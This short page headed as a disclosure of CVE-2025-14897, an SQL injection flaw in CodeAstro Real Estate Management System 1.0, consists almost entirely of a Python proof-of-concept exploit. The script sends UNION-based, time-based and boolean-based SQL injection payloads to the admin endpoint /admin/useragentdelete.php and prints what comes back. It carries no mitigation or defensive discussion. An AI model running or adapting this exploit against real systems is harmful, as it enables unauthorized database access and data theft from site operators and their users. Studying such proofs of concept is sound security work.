CVE-2025-14897: CodeAstro房地产管理系统SQL注入漏洞

import requests # CVE-2025-14897 SQL Injection PoC # Target: CodeAstro Real Estate Management System 1.0 # Endpoint: /admin/useragentdelete.php target_url = "http://target.com/admin/useragentdelete.php" # SQL Injection payload - Extract database version payload = {"id": "1 UNION SELECT 1,version(),3,4,5--"} # Blind SQL Injection payload (time-based) blind_payload = {"id": "1; SLEEP(5)--"} # Boolean-based blind SQL injection boolean_payload = {"id": "1 AND 1=1"} def exploit_sqli(url, payload): try: response = requests.post(url, data=payload, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" # Usage example result = exploit_sqli(target_url, payload) print(result)